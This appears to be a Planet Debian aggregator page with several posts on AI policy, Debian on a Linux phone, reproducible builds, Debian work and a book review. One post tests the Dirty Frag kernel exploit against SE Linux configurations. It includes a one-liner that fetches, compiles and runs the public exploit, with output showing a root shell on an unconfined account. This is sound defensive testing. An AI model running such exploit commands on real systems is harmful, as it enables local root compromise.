I have seen the term “AI Fascism” used to describe the use of “AI” to help authoritarian governments. I am dubious about whether it deserves that term and while every article I’ve read about the topic has had some good points I thought that they were all weak points.

But there are lots of ways that governments can abuse their populations without going full fascist. In the last century there were lots of truly terrible governments that didn’t even make the top 10 of fascism.

AI Sycophants

Bruce Schneier wrote an informative blog post about AI Chatbots and Trust which focused on sycophantic chatbots [17]. We have seen a lot of evidence of terrible behaviour and stupid decisions from rich people due to having no negative consequences for bad choices. The vast majority of the history of kings concerns bad decisions made by such people. A future where middle class and poor people can make the same bad decisions as rich people wouldn’t be good.

Good Things About ML

Machine Learning (abbreviated as ML) can do useful things. It’s not just Large Language Models (LLMs) such as ChatGPT etc. There are also ML systems that can analyse images and other data sets.

I have found ChatGPT to be very useful for making suggestions for improving blog posts. I don’t get it to write anything just ask for suggestions. It has pointed out things that I missed such as when I didn’t include the price when reviewing a car because the car in question was much more expensive than I will ever pay, the price wasn’t relevant to me but would be to some readers. It has also made useful suggestions about structure of blog posts, repeating points, and having a good conclusion. It has some downsides which include trying to erase my voice from my writing, suggesting that the rhetorical question “does email suck?” is unprofessional.

I have worked for a company that used ML systems to analyse driver performance and alert people if a driver is falling asleep, using a phone, or otherwise seems unable to drive safely. Their business model involved a human reviewing the images from the drivers the computer flagged and then determining who is actually doing the wrong thing. This seems a good use of the technology.

I have also worked for a company that used ML systems to analyse the performance of bank employees and detect potentially fraudulent behaviour. Preventing crime seems to be clearly a good thing and in this case the manager of the employee in question would review the evidence to make sure that they weren’t being falsely accused.

Conclusion

I don’t think that the problems with managing the changes that so called “AI” is introducing are particularly new. An example of how society handles change that’s worth considering is car safety. The seat belt first became mandatory for aeroplanes in some jurisdictions in 1928. The Model T Ford is widely regarded as the first vehicle to start a mass market for cars and it was released in 1925. So if society acted in a reasonable way then for the majority of mass market cars seat belts would have been a standard feature. However seat belts were first made compulsory in 1970 in Victoria Australia and there are still people who think that they are safer without seat belts! The delay in adoption of car seat belts is only one example of needless deaths caused by not taking reasonable measures for car safety but it’s one that’s easy to demonstrate and measure.

The difference between past problems like car safety and the current problems of “AI” is that the “AI” problems will be more pervasive. Most of my history as a car driver and car passenger was in cars that are much less safe than cars made in the last 10 years. But partly through luck I’ve never been in a serious crash so being in cars that wouldn’t have given me a low probability of surviving a freeway speed crash didn’t affect me. There is no possibility that through any combination of luck and skill someone could avoid the downsides of “AI”. If nothing else the results of elections will be affected and no-one can avoid that.

As a society we really need to address the real issues related to “AI” which in some cases requires legislation.

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09 May, 2026 10:40AM by etbe

Systemd, Mobile Linux, and Containers

I’ve had some problems running apps I want on my Furilabs FLX1s [1], so I decided to install some container environments to test various versions. I started with Debian/Testing so I can test the build process for some packages I’m about to upload to Unstable.

Systemd Issues

When running debootstrap testing testing to setup the chroot the process aborted with errors including the following from the systemd postinst:

Failed to enable units: Protocol driver not attached.
Cannot open '/etc/machine-id': Protocol driver not attached

This turned out to be from trying to run systemctl in the postinst, I just removed the “set -e” line from /chroot/testing/var/lib/dpkg/info/systemd.postinst and kept on going (I’m not planning to actually use systemd so it’s failure to setup wasn’t a problem).

Then I installed a bunch of -dev packages needed to build my package which had a dependency chain that included udev leading to the following error:

Setting up udev (260.1-1) ...
Failed to chase and open directory '/etc/udev/hwdb.d', ignoring: Protocol driver not attached
Failed to chase and open directory '/usr/lib/udev/hwdb.d', ignoring: Protocol driver not attached

Udev is also a part of systemd.

Googling for this turned up a closed systemd bug about this indicating that it has a minimum kernel version of 5.10 [2]. The Furiphone has kernel 4.19.325-furiphone-radon due to being based on Android.

Checking the kernel version isn’t that hard to do, if the systemd programs in question checked the version and reported “can’t run on kernels prior to 5.10 then it would avoid a lot of confusion – and also bug reports that the systemd developers don’t want.

Some Debian package dependencies can probably do with revision. Installing the packages “libkdb3-dev libkf5archive-dev qtdeclarative5-dev qtpositioning5-dev qttools5-dev” ideally wouldn’t have a dependency chain leading to udev.

The Furilabs people appear to have patched the latest Debian version of systemd to work with the older kernels, the version is currently 260.1-1+furios0+git20260425023744.8401044.forky.production.

Compile Times

I got this working by just editing every postinst script and either removing the “set -e” or adding an “exit 0” at the top, I don’t need things to be configured properly for a running OS I just need the files in the right locations for a container.

One issue I discovered when I started compiling is that it was only running on 1 core and the “nprocs” program was returning “1”. The “lscpu” program showed that only 1 of the 8 cores was online, it was a single Cortex-A78 core. Some combination of putting it in “caffeine mode” and having the screen on enabled all 6*Cortex-A55 and 2*Cortex-A78 cores.

The below table compares compiling Harbour-Amazfish on the Furiphone with all 8 CPU cores active, my E5-2696 v4 workstation (almost the fastest socket 2011-3 CPU ever made), running ARM64 software emulation on a system with two E5-2699A v4 CPUs, and a Radxa 8 core ARM SBC (which I will review in a future blog post).

Given that the source apparently limits the parallelism to less than 7 cores on average it’s pretty impressive for the elapsed time to be only 2.5* longer on the phone. Emulating the ARM64 build at about 4* the system CPU time is impressive too, as the system has 4.5* as many CPU cores it could theoretically compile ARM code faster than the native ARM hardware I own for any project that uses enough cores.

System User time System time Elapsed %CPU
Furiphone 2252.76 164.51 7:00.88 574
E5-2696 v4 workstation 679.64 119.07 1:58.63 673
2*22core Intel CPUs (qemu) 8476.65 113.14 10:24.57 1375
Radxa 2011.45 239.40 6:25.55 583

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09 May, 2026 08:35AM by etbe

May 08, 2026

Dirty Frag on Debian and SE Linux

Hot on the heels of the Copy Fail vulnerability [1] there is a new vulnerability Dirty Frag [2] (I linked to the Alma Linux page because it’s the first one I saw and it explains things well).

The Test System

The test system was running kernel 6.19.14+deb14-amd64 and had the configuration after my last test of Copy Fail which was a default configuration with the following commands run:

semanage login -m -s user_u -r s0 __default__
restorecon -R -v -F /home
semanage login -m -s root -r s0 root
# logout and login again
semodule -X 100 -r unconfined

Strict Policy is Not Vulnerable

I did a quick test on a Debian SE Linux system with a user running as user_t (which is often referred to as “strict policy”) and got the following result:

test@testing1:~/t$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 11.47 MiB/s, done.
Resolving deltas: 100% (9/9), done.
dirtyfrag: failed (rc=1)
test@testing1:~/t/dirtyfrag$ ./exp 
dirtyfrag: failed (rc=1)

I checked the audit log and saw the following:

# audit2allow -al
#============= user_t ==============
allow user_t self:rxrpc_socket create;
allow user_t self:user_namespace create;

It seems that the rxrpc_socket access is the main thing.

I did a search for domains permitted to use that class on a system without unconfined domains and saw the following:

# sesearch -A -c rxrpc_socket
allow daemon init_t:rxrpc_socket { getattr getopt ioctl read setopt write };
allow devicekit_disk_t domain:rxrpc_socket getattr;
allow sosreport_t domain:rxrpc_socket getattr;
allow sysadm_t domain:rxrpc_socket getattr;

This configuration doesn’t appear to be vulnerable, at least to this form of the attack.

Unconfined Domains

I reinstalled the unconfined policy with the following command and assigned it to the user test2 with the following commands:

semodule -X 100 -i /usr/share/selinux/default/unconfined.pp.bz2
semanage login -a -s unconfined_u test2
restorecon -R -v -F /home/test2

I then tested the exploit as user test2 and got the following result:

test2@testing1:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 16.57 MiB/s, done.
Resolving deltas: 100% (9/9), done.
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
#

The kernel message log had the following lines from the time of the attack:

[ 1310.861545] Initializing XFRM netlink socket
[ 1310.909048] alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni))
[ 1310.909935] alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac-sha256-lib,cbc-aes-aesni)))
[ 1318.353602] process 'su' launched '/bin/sh' with NULL argv: empty string added

Conclusion

It seems that we will be getting a lot of these so running SE Linux users as user_t is the right thing to do for servers and multi user systems.

Related posts:

  1. Copy Fail on Debian and SE Linux I have just learned of the Copy Fail kernel vulnerability...
  2. SE Linux Lenny Status Update I previously described four levels of SE Linux support on...
  3. New SE Linux Policy for Lenny I have just uploaded new SE Linux policy packages for...

08 May, 2026 05:11AM by etbe

Daniel Baumann

Debian: Linux Vulnerability Mitigation (Dirty Frag)

After Copy Fail [CVE-2026-31431] from last week, the new Linux local root privilege escalations of today are Dirty Frag (Part 1) aka Copy Fail 2 [CVE-2026-43284] and Dirty Frag (Part 2) [CVE-2026-43500].

For those who can not update to linux >= 7.0.4-1 that was uploaded to sid and contains the needed fixes (backports for trixie are available in trixie-fastforward-backports), or are waiting for backports and updates to older Debian releases, or can’t reboot on short notice, mitigations might be needed.

Given the current trend, it seems we will see more of these bugs in the future. Therefore, I’ve uploaded a new package linux-vulnerability-mitigation to sid containing the mitigation for both Copy Fail and Dirty Frag (with debconf multiselect).

It can also be downloaded from here:

The package is architecture independent, has no dependencies, and can be installed on any version of Debian or Debian derivative.

Updates:

  • Added references to Dirty Frag Part 2 [CVE-2026-43500]

  • Updated links to linux-vulnerability-mitigation now that it passed the NEW queue

08 May, 2026 03:19AM

May 07, 2026

Reproducible Builds

Reproducible Builds in April 2026

Welcome to our April 2026 report from the Reproducible Builds project!

Our reports outline what we’ve been up to over the past month, highlighting items of news from elsewhere in the increasingly-important area of software supply-chain security. As ever, if you are interested in contributing to the Reproducible Builds project, please see the Contribute page on our website.

In this month’s report, we cover:

  1. Tor stateless relays and Reproducible Builds
  2. Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux
  3. Reproducible Builds at LinuxFest NorthWest
  4. Reproducibility issues in Rust binaries that embed random bytes
  5. Distribution work
  6. Patches
  7. diffoscope development
  8. Documentation updates
  9. Misc news


Tor stateless relays and Reproducible Builds

An interesting post was published on Tor Project blog by Osservatorio Nessuno OdV this month on “stateless relays”. These are stateless, diskless operating systems that are designed to be used as Tor exit relays. According to the post, which is titled A Server That Forgets: Exploring Stateless Relays:

For relay operators, this approach raises the security bar by enforcing better behaviors by design: […]

  1. Reproducibility. A system that doesn’t change between reboots is easier to verify and, eventually, to reproduce and audit.

Furthermore, using a Trusted Platform Module (TPM), could allow for greater integrity in the future:

Transparency logs. Once you have a measured boot chain, you can publish it. A relay operator provides a recipe for a reproducible build; anyone can recompute the expected hash and verify it matches what the TPM reports. An append-only transparency log can make these attestations publicly auditable. The Tor community could run an independent monitor to track this across the relay fleet.


Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux

Congratulations to the Civil Infrastructure Platform (CIP) for reaching their 10-year anniversary last month. CIP has been a supporter of Reproducible Builds for many years, and we have collaborated on a number of technical issues that overlap. As Chris Lamb mentions in CIP’s press release:

The collaboration between the Reproducible Builds project and CIP highlights a critical shift in how we approach industrial software. Through verifiability, CIP ensures that the open source foundation of our critical infrastructure is not only sustainable but also demonstrably secure. This commitment to transparency is vital for the trust and resilience required by critical systems over decades of operation.”


Reproducible Builds at LinuxFest NorthWest

Vagrant Cascadian and Chris Lamb hosted a table in the exposition hall at LinuxFest NorthWest 2026 this month in Bellingham, WA, USA, introducing many people to Reproducible Builds and answering questions both days of the conference.

In addition, Vagrant presented Beyond Trusting Open Source Software on Sunday afternoon, exploring the intersection of Free/Open Source Software, Reproducible Builds and Bootstrappable builds, and how they all reinforce each other. Vagrant’s slides are available online, including source code to build them reproducibly.


Reproducibility issues in Rust binaries that embed random bytes

Reproducible Builds developer kpcyrd opened a ticket on the Rustsec issue tracker regarding binaries that deliberately inject random bytes into their binaries “as a secret seed for a Hash Collision DoS mitigation.”

As kpcyrd notes in his message, this causes issues for reproducibility, and because the relevant end-user binaries are “mostly distributed pre-compiled through package managers, those binaries (and by extension the secret seed) are public knowledge”. kpcyrd goes on to note:

This is somewhat unique to Rust because Python/JavaScript doesn’t compile binaries, and Go (to my knowledge) is too restrictive during build for any library to pull something like this.


Distribution work

In Arch Linux this month, Robin Candau and Mark Hegreberg worked at adding a new repro tag/version to the Arch Linux Docker images providing a bit-for-bit reproducible image. Robin also shared a related announcement and implementation details on our mailing list.

Arch Linux developer Robin Candau posted a blog post announcing that “Arch Linux Now Has a Bit-for-Bit Reproducible Docker Image”. Robin mentions one interesting caveat:

to ensure reproducibility, the pacman [package manager] keys have to be stripped from the image, meaning that pacman is not usable out of the box in this image. While waiting to find a suitable solution to this technical constraint, we are therefore providing this reproducible image under a dedicated tag as a first milestone. […]

The blog post was also discussed on Hacker News.


In Debian this month, 24 reviews of Debian packages were added, 7 were updated and 16 were removed this month adding to our knowledge about identified issues.

Vagrant Cascadian performed Non-Maintainer Uploads (NMUs) in Debian for several packages with outstanding patches over a year old jakarta-jmeter, wxmplot, critcl, vcsh and magic-wormhole-transit-relay.

In addition, Reproducible Builds developer Jochen Sprickerhof filed a bug against the APT package manager to request that “APT should ignore [a] 0 epoch when downloading or installing with a version specifier”. This is related to the special-case handling of the optional epoch prefix in Debian package version numbers.


In NixOS, Julien Malka presented Lila: Decentralized Build Reproducibility Monitoring for the Functional Package Management Model, a paper written together with Arnout Engelen at the Mining Software Repositories (MSR) ACM conference, where it was awarded the MSR 2026 FOSS Impact Award. Congratulations!


Lastly, in openSUSE, Michael Schroeder added reproducibility verification support in the Open Build Service […] and Bernhard M. Wiedemann posted another openSUSE monthly update for their reproducibility work there.


Patches

The Reproducible Builds project detects, dissects and attempts to fix as many currently-unreproducible packages as possible. We endeavour to send all of our patches upstream where applicable or possible. This month, we wrote a large number of such patches, including:


diffoscope development

diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues. This month, Chris Lamb made a number of changes, including preparing and uploading versions, 316, 317 and 318 to Debian.

  • Chris Lamb:

    • Bump Standards-Version to 4.7.4. […]
    • Correct ordering of python3-guestfs architecture restrictions. […]
    • Limit python3-guestfs Build-Dependency to architectures that are not i386. […]
    • Try to fix PYPI_ID_TOKEN debugging. […]

  • Holger Levsen:

    • Add ppc64el to the list of python3-guestfs architecture whitelist. (Closes: #1132974). […]

In addition, Vagrant Cascadian updated diffoscope in GNU Guix to version 317.


Documentation updates

Yet again, there were a number of improvements made to our website this month including:


Misc news

On our mailing list this month:

  • Timo Pohl posted our list inviting people to “online group discussions with 4-6 participants each to talk about your perception of terms and requirements for reproducibility.” As Timo notes:

    During our research of the existing literature, as well as my experience at the Reproducible Builds Summit 2025 in Vienna, we noticed that some of the terminology in the field is not used consistently across different groups of people, and that the precise meaning of some core terms like “reproducibility of an artifact” in itself is not uniform.

    As Timo mentions, the sessions will last roughly 90 minutes and will be rewarded with 50€ per participant.

  • kpcyrd posted to the list asking for assistance with fixing an issue after updating the flake.lock file for their repro-env project.

  • Aman Sharma of the KTH Royal Institute of Technology, Sweden, posted to our list in order to share that Eric Cornelissen, a PhD student in KTH’s CHAINS group, is maintaining an open-source project to monitor the reproducibility of GitHub Actions:

    The goal of the project is to assess whether GitHub Actions can be reproduced. Currently, it focuses on two types of Actions: JavaScript-based actions and Docker-based actions (composite actions are not considered). For JavaScript actions, the project rebuilds the distributed files and compares them bit-by-bit with the repository contents. For Docker actions, it rebuilds images from the Dockerfile and checks for semantic equivalence, using diffoci, across builds.



Finally, if you are interested in contributing to the Reproducible Builds project, please visit our Contribute page on our website. However, you can get in touch with us via:

07 May, 2026 09:16PM

May 05, 2026

Thorsten Alteholz

My Debian Activities in April 2026

Debian LTS/ELTS

This was my hundred-forty-second month that I did some work for the Debian LTS initiative, started by Raphael Hertzog at Freexian.

During my allocated time I uploaded or worked on:

  • [DLA 4530-1] gst-plugins-bad1.0 security update to fix two CVEs related to denial of service or execution of arbitrary code if a malformed media file is opened.
  • [DLA 4544-1] ntfs-3g to fix one CVE related to local root privilege escalation.
  • [DLA 4545-1] packagekit security update to fix one CVE related to local privilege escalation.
  • [DLA 4547-1] gimp security update to fix three CVEs related to denial of service or execution of arbitrary code if a malformed PSP, JPEG 2000 or PSD file is opened.
  • [ELA-1682-1] gst-plugins-bad1.0 security update to fix two CVEs in Buster and Stretch related to denial of service or execution of arbitrary code.
  • [ELA-1689-1] ntfs-3g security update to fix one CVE in Buster and Stretch related to local root privilege escalation..
  • [ELA-1693-1] pakagekit security update to fix one CVE in Buster and Stretch related to local privilege escalation.
  • [#1126167] bookworm-pu upload of zvbi
  • [#1126273] bookworm-pu upload of taglib
  • [#1126370] bookworm-pu upload of libuev
  • [libcoap3] upload to sid to fix two CVEs related to out-of-bounds read and stacked based buffer overflow.
  • [#1134340] trixie-pu bug for libcoap3 to fix two CVEs in Trixie.
  • [cups] upload to sid to fix six CVEs.

I also did a week of front desk duties and started to work on backports of the cups CVEs.

Debian Printing

This month I uploaded a new upstream versions:

Unfortunately the first upload of cups introduces a regression and another upload was needed to take care of a crash. The patch for one CVE also broke a test script, which is used by lots of printing packages in Debian. As a result some autopkgtest runs failed. This could be fixed as well and the only remaining issue that needs some more investigation is related to cups-pdf.

This work is generously funded by Freexian!

Debian Lomiri

This month I continued to work on unifying packaging on Debian and Ubuntu. This makes it easier to work on those packages independent of the used platform.

I also started working on two new packages: lomiri-radio-app and lomiri-fretboardtrainer-app

This work is generously funded by Fre(i)e Software GmbH!

Debian Astro

This month I uploaded a new upstream version or a bugfix version of:

Debian IoT

This month I uploaded a new upstream version or a bugfix version of:

Marcos Talau joined the Debian IoT group, welcome aboard.

Debian Mobcom

This month I uploaded a new upstream version or a bugfix version of:

misc

This month I uploaded a new upstream version or a bugfix version of:

05 May, 2026 02:24PM by alteholz

May 04, 2026

Russ Allbery

Review: Full Speed to a Crash Landing

Review: Full Speed to a Crash Landing, by Beth Revis

Series: Chaotic Orbits #1
Publisher: DAW
Copyright: August 2024
ISBN: 0-7564-1947-6
Format: Kindle
Pages: 153

Full Speed to a Crash Landing is a science fiction novella and the first of a series. Beth Revis made the New York Times bestseller list for an earlier series of young adult science fiction novels, but somehow I had not heard of her before this series.

Ada Lamarr is a salvager. She picks up material from crashed or dead ships for resale. As the story opens, she has a large hole in the side of her ship, she's running out of oxygen, and the other ship nearby is refusing to answer her distress call. By the time they finally respond, there is barely enough time to get aboard before she is entirely out of air.

Ada's first-person narration drops hints that she may not be entirely what she seems. But then, neither is the Halifax, so it's only fair.

The captain of the Halifax treats Ada with a great deal of suspicion and wants her out of the way of their ongoing salvage operation. However, the captain does not appear to be entirely in charge. Ada is immediately struck by the mysterious Rian White, who seems to have some authority over their mission and is more thoughtful and calculating than the rest of the crew. He's also handsome, which doesn't hurt.

I was tempted to keep writing about the plot, but given the short length of this book, I should stop there and let you enjoy the twists and turns for yourself. This is a fun science fiction action romp: lots of banter, lots of tense moments, and a cagey first-person protagonist with an irrepressible sense of humor and a knack for brazening her way through conversations. It's not long on world-building (there isn't enough room), but Revis works in enough details to be intriguing and to set up some interesting motivations.

This is the sort of book that lives and dies by how much you like the protagonist, something that you will easily figure out by the end of an ebook sample if you're the sort of reader who uses those. Ada is irreverent, talkative, and very adroit at diverting attention (entertainingly) onto anything other than the critical piece of information other people are missing. If you want to, I suspect you could easily figure out most of what Ada is up to before the book reveals it explicitly. It's not that complicated, and the book isn't really trying to hide, although it doesn't give you all the necessary information in advance. Personally, I was happy to sit back and enjoy the ride.

There is no romance in this book beyond frequent comments from Ada that she would have liked there to be a romance in this book under different circumstances, but I will be surprised if that romance doesn't show up later in the series. Ada and Rian are clearly being set up as a pair. I didn't like Rian as much, mostly because he's less memorable as a character, but he comes into his own in the appendices after the plot proper.

I thought those concluding appendices were the best part of the novella and question the Kindle formatting decision to treat them like supplemental material. They purport to be a series of government memos, fill in a lot more of the backstory and world building, and have the best footnotes. Don't skip them!

This isn't the sort of book that I am inspired to immediately push into everyone's hands, but it's a fast, well-paced story that delivered a few reading sessions of entertainment. I'm not sure the political philosophy in the background makes a lot of sense, but at least not a standard stereotype of current politics seen in so much science fiction. It's going to set up some interesting character conflict in later books. I'm certainly intrigued enough to keep reading.

Recommended when you're in the mood for some fast-paced fun that's short and undemanding.

Followed by How to Steal a Galaxy.

Rating: 7 out of 10

04 May, 2026 03:56AM

May 03, 2026

hackergotchi for Emmanuel Kasper

Emmanuel Kasper

Arm64 Linux Desktop: one year after, all systems up

So I am using Debian on a System76 Arm64 (aarch64) workstation since 9 months, and I can say: everything works. It should be noted that I use very few proprietary software, so I rely mostly on Debian packages for what I am doing. What I can say is basically all open source software which exists today, takes care to build on aarch64 or is available as a binary, either in the Debian archive, in a Flatpak or Snap, or in a Github Artefact. From 3D games, to Kubernetes tooling, practically everything open source is compiled for aarch64 Linux as well. Same thing for server software, every container image built is also proposing an aarch64 binary today.

I could also add a standard PCI Express Soundblaster sound card, and the kernel recognized it without issues.

The major downside I had was that Wayland is not working on my Nvidia GPU, whether with Nouveau or the proprietary drivers, thus I am using Gnome with X11. Also on the proprietary side, I missed the Discourse client, but I am not using that much, and those video meetings tool which popped up in the COVID time are perfectly usable in the browser.

The situation is for me much better than in the 2000s when I used a Mac Mini (powerpc) with Debian, where the need for a Flash player at that time really limited the amount of online content I could access.

What do I get using aarch64 you ask ? The main reason for me was the curiosity to use a non x86 arch, and to have a 80 core / 128 GB RAM machine to do a Lab in a Box with OpenShift running on OpenStack, with Ceph and a bit of local LLM inference thrown in. In the end I have enough labs at work, so that need disappeared, but I still enjoy having that amount of power in a rather quiet machine for a standard 80W consumption.

03 May, 2026 12:33PM by Manu

Jelmer Vernooij

Inquest, a test result repository in Rust

testrepository

For a long time I’ve used Robert Collins’ testrepository (testr) to run tests in many of the projects I work on. It’s a small, focused tool built around a simple idea: decouple the running of tests from the recording and querying of their results.

The way it works is straightforward. A test runner emits a subunit stream — a compact binary protocol for test results — and testrepository stores those streams in a per-project .testrepository/ directory. Once results are in the repository, you can ask questions like “which tests failed in the last run?”, “re-run only the failures”, “what are the slowest tests?”, or “what changed between this run and the previous one?”.

The killer feature, for me, has always been the failing-test loop. When a big test suite breaks, you don’t want to re-run the whole thing after every fix — you want to iterate on just the failures, and only re-run the full suite once they’re all green. testrepository made that workflow ergonomic long before most language-specific test runners had anything comparable, and many of them still don’t have a good answer for it.

testrepository has served me well for over a decade, but it has been largely unmaintained for a while, and I had some ideas of improvements that I wanted to try out. So I wrote a Rust port, which has since grown a number of features of its own.

Inquest

Inquest is a Rust port of testrepository that has since grown a number of features of its own. The binary is called inq.

Goals

The goals are deliberately modest:

  • a single static binary, no Python runtime required
  • no need to write a dedicated config file for most projects
  • compatible enough with testrepository’s workflow that I can switch projects over without retraining my fingers
  • a richer on-disk format that captures more about each run (git commit, command line, duration, exit code, concurrency)
  • good support for the languages I actually use day-to-day: Rust, Python, Go, and Node.js
  • mostly Do What I Mean (DWIM), e.g. getting me to know as quickly as possible what tests are failing and why, and being clever about doing this

Inquest reads and writes subunit v2 streams, so anything that can produce subunit (directly or via one of the many converters) can feed into it.

Quick start

Inquest can usually figure out how to run your tests on its own. In a Rust, Python, Go or Node.js project:

 $ cd my-project
 $ inq

Or if the auto-detection doesn’t work, you can ask it to generate a config file and then run the tests:

 $ inq auto
 $ inq run

inq auto writes an inquest.toml describing how to invoke the test runner; inq run runs the tests, captures the subunit stream, and stores the results in a .inquest/ directory.

For a Rust project the generated config looks like:

 test_command = "cargo subunit $IDOPTION"
 test_id_option = "--test $IDFILE"
 test_list_option = "--list"

After the first run, the usual queries work:

 $ inq stats             # repository-wide statistics
 $ inq last              # results of the most recent run
 $ inq failing           # only the failing tests
 $ inq slowest           # the slowest tests in the last run
 $ inq run --failing     # re-run only what failed last time

The last one is the workflow I use most often: run the full suite once, fix the obvious failures, then iterate on inq run --failing until the list is empty.

A few things that aren’t in testrepository

Some of the features that have grown in inquest beyond the original testrepository functionality:

  • Timeouts. --test-timeout, --max-duration, and --no-output-timeout will kill a test process that is hanging or has stopped producing output. --test-timeout auto derives a per-test timeout from the historical duration of that test, which is handy for catching tests that hang.

    Once the test runner is killed, the test is marked as failed and the next test is started, so a broken test doesn’t hold up the whole suite.

  • Ordering --order can be used to run tests in a specific order, e.g. to run the slowest tests first, to run the tests that failed most recently first, or to run the widest variety of tests first to maximize the chance of finding a failure early on.

  • Live progress. inq running tails the in-progress subunit stream on disk and reports observed/expected test counts, percent complete, elapsed wall-clock time, and an ETA derived from each test’s historical duration. Useful when a CI run is taking longer than you’d like.

  • Flakiness ranking. inq flaky ranks tests by pass↔fail transitions in consecutive runs in which the test was recorded, so chronically broken tests rank low and genuinely flapping tests rank high.

  • Comparing runs. inq diff <A> <B> shows what changed between two test runs — newly failing, newly passing, and tests that flipped state — which makes it easy to see whether your last change actually fixed (or broke) anything.

  • Bisecting git history. inq bisect <TEST> drives git bisect to find the commit that broke a given test. It defaults the known-good and known-bad commits from the recorded run history (the most recent run where the test passed, and the most recent where it failed), so in the common case there is no need to remember either — just point it at the test name and let it work.

  • Richer run metadata. inq info shows the git commit, command line, duration, exit code, and concurrency for a run, with a flag for whether the working tree was dirty when the run started. Combined with inq diff this makes it much easier to triangulate when a regression was introduced.

  • Rerun a previous run verbatim. inq rerun <ID> re-runs exactly the tests of a previous run, in the same order, forwarding the same -- arguments that the original run used. inq rerun -1 repeats the latest.

  • Web based view. inq web serves a web-based view of the repository, with a dashboard of recent runs and detailed views of individual runs and tests.

Web UI

Most of the time I drive inquest from the command line, but for browsing historical results of a large suite — spotting flapping tests, drilling into a single test’s run history, or just getting a visual sense of which parts of the suite are hurting — a web view is more pleasant. inq web starts a local server with exactly that:

 $ inq web

The repository overview shows totals and a per-test history grid where each cell is one run, coloured by outcome. Bands of red make it easy to pick out tests that have been broken for a long time, and isolated red cells in an otherwise green column point at flaky tests.

Inquest web UI repository overview, with a grid of per-run results

Drilling into an individual test gives you its full run history, a duration sparkline, and per-run pass/fail status:

Inquest web UI per-test view with run history and duration sparkline

Migrating from testrepository

If you already have a .testrepository/ directory full of historical runs, inq upgrade will migrate it into the new .inquest/ format, with a progress bar for the impatient.

The legacy .testr.conf (INI) format is still understood, so existing projects don’t have to be converted to inquest.toml immediately — though the TOML format is preferred for new projects.

Trying it

The source is on GitHub at jelmer/inquest. To install from source:

 $ cargo install inquest

In a project with a Rust, Python, Go or Node.js test suite:

 $ inq

Bug reports and patches are welcome.

03 May, 2026 10:00AM by Jelmer Vernooij

Birger Schacht

Status update, February - April 2026

Due to health reasons I did not have the energy to write individual status updates for February & March, so I’ll just combine them with the April update:

In February I cleaned out my GitHub account and moved all remaining projects to Codeberg. I archived the repositories on GitHub and added links to the new repositories on Codeberg. GitHub is a platform that is more and more frustrating to use. I still have to use it for my dayjob, though. The number of pull requests and issues that are written either by bots or by users that use bots increased in the last two years. Combined with that, GitHub provides a very low barrier for entitled users who do not want to contribute to a productive environment. GitHub now feels like the Twitter/X of git forges. Codeberg on the other hand is a community project. I feel a lot more at home there and the platform itself feels a lot more responsive than GitHub.

Debian Related Work

  • Uploaded wayback 0.3-1 to experimental
  • Uploaded slurp 1.6.0-1 to unstable
  • Uploaded first a prerelease of sway to experimental to be able to test wlroots 0.20.0 and then uploaded rc1, rc2 and rc3 of the upcoming 1.12 release
  • Uploaded waybar 0.15.0-1 to unstable
  • Uploaded kanshi 1.9.0-1 to unstable, which was possible because the dependency libscfg finally went through NEW
  • Uploaded libscfg 0.2.0-1 to unstable
  • Uploaded swaybg 1.2.2-1 to unstable
  • Uploaded labwc 0.9.4-1, 0.9.5 & 0.9.6 to unstable
  • Fixed the packaging of vali and uploaded version 0.1.1-1 to unstable; then added vali to the build dependencies of kanshi and reuploaded 1.9.0-2 thereof
  • Uploaded swaylock 1.8.5-1 to unstable
  • Uploaded fcft 3.3.3-1 to unstable
  • Uploaded foot 1.26.1-1 to unstable
  • Uploaded swayimg 5.0-1 and 5.1-1 to unstable
  • Fixed some packaging metadata in libsfdo and uploaded 0.1.4-2 to unstable
  • Reverted the upload of slurp from 1.6.0-1 to 1.6.0really1.5.0-1 because the upstream release of 1.6.0 was made by mistake and yanked a week later. Maybe I should add a cooldown period before uploading new releases ;)
  • Uploaded mako-notifier 1.11.0-1 to unstable
  • Uploaded cage 0.3.0-1 to experimental which uses wlroots 0.20.0
  • Uploaded xdg-desktop-portal-wlr 0.8.2-1 to unstable
  • Voted

DH Related Work

I took part in the DHD 2026 Conference in Vienna, including a hands-on workshop of the dhinfra project.

I released 0.60.0, 0.61.0 and 0.62.0 of apis-core-rdf. We rewrote the configuration format for the importer. We previously used TOML files, but that does not give us inheritance. So we now use simply Python classes as configuration format.

I implemented a new backend for our apis-bibsonomy Django package. The package is meant to provide a datamodel for storing reference data that links to Bibsonomy or Zotero. Given that we don’t use Bibsonomy anymore we now dropped the Bibsonomy backend but added a Zotero backend that allows to cache the entries locally.

03 May, 2026 05:28AM

May 02, 2026

hackergotchi for Bits from Debian

Bits from Debian

Debian welcomes the 2026 GSoC interns

GSoC logo

We are very excited to announce that Debian has been assigned seven contributors to work under mentorship on a variety of projects with us during the Google Summer of Code.

Here is a list of the projects and contributors, along with details of the tasks to be performed.

Project: Automated Debian Packaging with debianize

  • Contributor: Anurag Nayak

Deliverables of the project: Debianize is a tool that aims to automatically create debian packages from scratch from upstream source trees. As for the current version, it works for some of the packages but it is not reliable. This project aims at making it production ready such that it can work with most of the projects. Along with that improving its reliability, coverage, integration with the broader ecosystem and other enhancements.

Project: Linux Livepatching

  • Contributor: Aryan Karamtoth

